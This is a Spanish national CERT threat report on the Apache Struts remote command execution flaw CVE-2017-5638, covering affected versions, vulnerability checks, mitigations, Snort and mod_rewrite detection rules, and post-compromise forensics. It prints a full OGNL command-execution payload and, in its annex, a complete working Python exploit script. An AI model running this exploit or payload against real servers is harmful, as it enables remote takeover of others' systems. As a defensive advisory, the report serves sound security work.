Informe de Amenazas
CCN-CERT IA-09/17

MEDIDAS DE SEGURIDAD
Vulnerabilidad de Struts

Marzo 2017

CENTRO CRIPTOLOGICO NACIONAL
2.5.4.13=Qualified Certificate: AAPP-SEP-M-SW-KPSC,
ou=sello electrónico, serialNumber=S2800155J,
o=CENTRO CRIPTOLOGICO NACIONAL, cn=CENTRO
CRIPTOLOGICO NACIONAL, c=ES
2017.03.14 13:24:45 +01'00'

ÍNDICE

1. SOBRE CCN-CERT 4
2. INTRODUCCIÓN 5
3. COMPROBACIÓN DE LA VULNERABILIDAD 5
4. MEDIDAS PALIATIVAS 6
5. DETECCIÓN 7
6. RECOMENDACIONES 8
7. REFERENCIAS 10
8. ANEXO. Exploit 11

1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a Incidentes de Seguridad de la Información del Centro Criptológico Nacional, CCN (www.ccn.cni.es). Este servicio se creó en el año 2006 como el **CERT Gubernamental/Nacional** español y sus funciones quedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia, el RD 421/2004 regulador del CCN y en el RD 3/2010, de 8 de enero, regulador del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de octubre.

De acuerdo a todas ellas, es competencia del CCN-CERT la gestión de ciberincidentes que afecten a **sistemas clasificados**, del **Sector Público** y de **empresas y organizaciones de interés estratégico** para el país. Su misión, por tanto, es contribuir a la mejora de la ciberseguridad española, siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de forma rápida y eficiente a los ciberataques y a afrontar de forma activa las ciberamenazas.

2. INTRODUCCIÓN

Struts es una herramienta de soporte para el desarrollo de aplicaciones Web que sigue el patrón MVC (Modelo Vista Controlador) bajo la plataforma Java EE (*Java Enterprise Edition*), que se instala sobre un servidor Apache. Struts se desarrollaba como parte del proyecto Jakarta de la Apache Software Foundation, pero actualmente es un proyecto conocido como Apache Struts.

El 29 de enero de 2017, se hizo pública una vulnerabilidad con código CVE-2017-5638, que permitiría a un atacante **ejecutar órdenes remotas sobre un servidor** a través de un contenido subido al componente de análisis Jakarta Multipart, el cual es utilizado por algunas aplicaciones de Struts [Ref. 4]. Esta vulnerabilidad afecta a las siguientes versiones de Struts:

- **Versiones 2.3.x anteriores a 2.3.32**
- **Versiones 2.5.x anteriores a 2.5.10.1**

Si el valor de la cabecera HTTP Content-Type no es válido se genera una excepción que se utiliza para mostrar un mensaje de error al usuario. Modificando convenientemente dicha cabecera, un atacante podría ejecutar comandos de sistema operativo en el servidor web.

```
GET /index.action HTTP/1.1
Content-Type: Content-Type:%{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty
('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream
())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: Mozilla/5.0
```

Ilustración 1. Ejemplo de modificación de la cabecera Content-Type

El 8 de marzo de 2017 se hizo público el exploit [Ref. 1] que explota la citada vulnerabilidad. El cual, en la fecha de redacción de este informe, afecta a 35 millones de equipos en Internet.

3. COMPROBACIÓN DE LA VULNERABILIDAD

Para determinar si un servidor web está afectado por la citada vulnerabilidad, se puede realizar de varias formas:

1. Ejecución del exploit público [Ref. 1], el cual se incluye como anexo en este documento. Para ello, basta con ejecutar:

```
python2.7 exploit-struts.py <URL a auditar> <comando a ejecutar en el servidor>
```

Por ejemplo:

```
python2.7 exploit-struts.py https://sede.organismo.es/content/indice.action whoami
```

Si el resultado tras la ejecución es código HTML, la web no es vulnerable. Por el contrario, si devuelve el resultado esperado tras ejecutar el comando indicado (en el ejemplo, "whoami") en el servidor objeto de estudio, es vulnerable y se recomienda se actualice lo antes posible.

2. Utilización de la herramienta NMAP [Ref. 2] para comprobar si los servidores se encuentran afectados por la vulnerabilidad, mediante un script desarrollado a tal efecto. Para ello habrá que realizar lo siguiente:

    1. Descarga del script de NMAP desde el siguiente enlace:

       https://svn.nmap.org/nmap/scripts/http-vuln-cve2017-5638.nse

    2. Ejecución del siguiente comando desde el mismo directorio donde se descargó el fichero anterior:

```
nmap –p <puerto> http-vuln-cve2017-5638 <ip o ips>
```

Por ejemplo:

```
nmap –p 80 http-vuln-cve2017-5638 sede.organismo.com
```

4. MEDIDAS PALIATIVAS

1. Para solucionar la vulnerabilidad basta con **actualizar Apache Struts** a la **versión 2.3.32 o 2.5.10.1**. Adicionalmente a esta medida, se pueden realizar las medidas descritas en los siguientes puntos.

2. La siguiente medida puede ser aplicada en el firewall o en la configuración del desarrollo del aplicativo afectado. Los desarrolladores del *framework* han aconsejado usar un filtro de *servlets* para validar el *Content-Type* y rechazar las peticiones con valores sospechosos que no coincidan con *multipart/form-data* [Ref. 3]:

```
request.header “Content-Type” NOT.EQUAL “multipart/form-data”

request.header “Content-Type” MATCH “^.*%{.*”

request.header.content-type NOT.MATCH “multipart\/form\-data|content\-type2|content\-type3”
```

3. Incluir las siguientes reglas de Snort en los IPS:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET
WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection
(CVE-2017-5638)"; flow:to_server,established;
content:"ProcessBuilder"; http_header; content:"apache"; http_header;
nocase; content:"struts"; http_header; pcre:"/^Content-
Type\x3a\x20(?=[^\r\n]*?ProcessBuilder)[^\r\n]*?\.struts/Hmi";
reference:cve,2017-5638;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-
APACHE Apache Struts remote code execution attempt";
flow:to_server,established; content:"Content-Type:"; nocase;
http_header; content:"%{"; distance:0; http_header; content:"ognl";
distance:0; fast_pattern; nocase; http_header;
content:"multipart/form-data"; nocase; http_header; metadata:policy
balanced-ips drop, policy max-detect-ips drop, policy security-ips
drop, service http; reference:cve,2017-5638;
reference:url,cwiki.apache.org/confluence/display/WW/S2-045;
classtype:attempted-admin; sid:41818; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-
APACHE Apache Struts remote code execution attempt";
flow:to_server,established; content:"|23|_memberAccess";
fast_pattern:only; http_header; content:"new "; nocase; http_header;
pcre:"/new\s+(java|org|sun)/Hi"; metadata:policy balanced-ips drop,
policy max-detect-ips drop, policy security-ips drop, service http;
reference:cve,2017-5638;
reference:url,cwiki.apache.org/confluence/display/WW/S2-045;
classtype:attempted-admin; sid:41819; rev:1;)
```

4. Aplicar el siguiente filtro en los proxys reversos mediante la utilización de `mod_rewrite`:

```
RewriteCond  %{HTTP:Content-Type}
"(?=[^\r\n]*?ProcessBuilder)[^\r\n]*?\.struts" [NC]
       RewriteCond  %{HTTP:Content-Type} "new\s+(java|org|sun)" [NC]
       RewriteCond  %{HTTP:Content-Type} "ognl" [NC]
       RewriteRule ^/* - [F,L]
```

5. DETECCIÓN

Si su sistema ha sido víctima de un ataque utilizando esta vulnerabilidad, puede realizar las siguientes acciones para intentar identificar las acciones realizadas por el atacante:

1. Revisar el uso del usuario root del sistema en los días del ataque.
2. Revisar la lista de usuarios, para verificar que no se hayan creado nuevos.
3. Revisar la configuración de iptables en el servidor. El atacante podría haber intentado deshabilitarlo.

4. Revisar los accesos del usuario que ejecuta la página web con Struts. Revisar si se han creado ficheros, carpetas, o procesos con dicho usuario.
5. Revisar si se han creado procesos o servicios fuera del uso normal.
6. Revisar las conexiones salientes desde los equipos atacados, conexiones SSH, conexión por FTP/SFTP, conexiones a servicios de almacenamiento en la nube como Dropbox, Google Drive…
7. Revisar si se han creado tareas en el cron del sistema para verificar la no instalación de tareas programadas.
8. Revisar la creación y modificación de ficheros en los días que ha durado el ataque, para ello se puede utilizar el siguiente comando:

```
find / -type f -mtime -<número de días>
```

   Por ejemplo, para realizar la búsqueda durante los últimos 3 días:

```
find / -type f -mtime -3
```

9. Revisar si se han creado páginas web en el servidor fuera del uso normal del servidor, por si se han generado webshells.
10. Si el atacante no ha modificado el exploit público [Ref. 1], las peticiones contra los servidores web se realizarán con la siguiente cabecera HTTP:

```
User-Agent: Mozilla/5.0
```

    Buscando en los logs del proxy todas aquellas conexiones que se hayan realizado utilizando dicho User-Agent nos serviría para localizar las IPs que han lanzado el exploit contra los servidores y, por lo tanto, podrían ser bloqueadas en los firewalls.

6. RECOMENDACIONES

Para prevenir futuros ataques de este tipo se recomienda realizar las siguientes acciones:

- Mantener todos los sistemas **actualizados**. Para ello es conveniente disponer de una política de parches de seguridad que permita la actualización de los sistemas en el menor tiempo posible.
- Disponer de un **sistema de copias de seguridad** adecuado que almacene copias de seguridad de los sistemas de manera periódica, ya que nos permitiría restaurar los servicios en el caso de que fueran objeto de una denegación de servicio.
- **Limitar los privilegios del usuario** que ejecuta la página web con Apache Struts, permitiendo únicamente el acceso a los ficheros que se ubiquen dentro del

espacio web de trabajo, de este modo se impide que en caso de intrusión se pueda tener acceso a recursos externos (unidades montadas, espacio del usuario, etc.)

- Aplicar las medidas de seguridad indicadas en las diferentes **guías CCN-STIC** para mantener un nivel de seguridad de los sistemas lo más alto posible.

7. REFERENCIAS

[Ref. 1] Exploit CVE-2017-5638

https://github.com/rapid7/metasploit-framework/issues/8064

[Ref. 2] Script de detección de la vulnerabilidad con NMAP

https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html

[Ref. 3] Protección contra CVE-2017-5638 en WAF

https://blog.qualys.com/technology/2017/03/09/qualys-waf-2-0-protects-against-critical-apache-struts2-vulnerability-cve-2017-5638

[Ref. 4] Información sobre la vulnerabilidad

https://cwiki.apache.org/confluence/display/WW/S2-045

8. ANEXO. EXPLOIT

```
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#uso: python script.py <url> "<command>"

def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload +=
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']
)."
    payload +=
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil
@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm)))."
    payload += "(#cmd='%s')." % cmd
    payload +=
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains
('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload +=
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputS
tream()))."
    payload +=
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        request = e.partial

    print(request.text)
    return request
```

```
if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] exploit-struts.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
```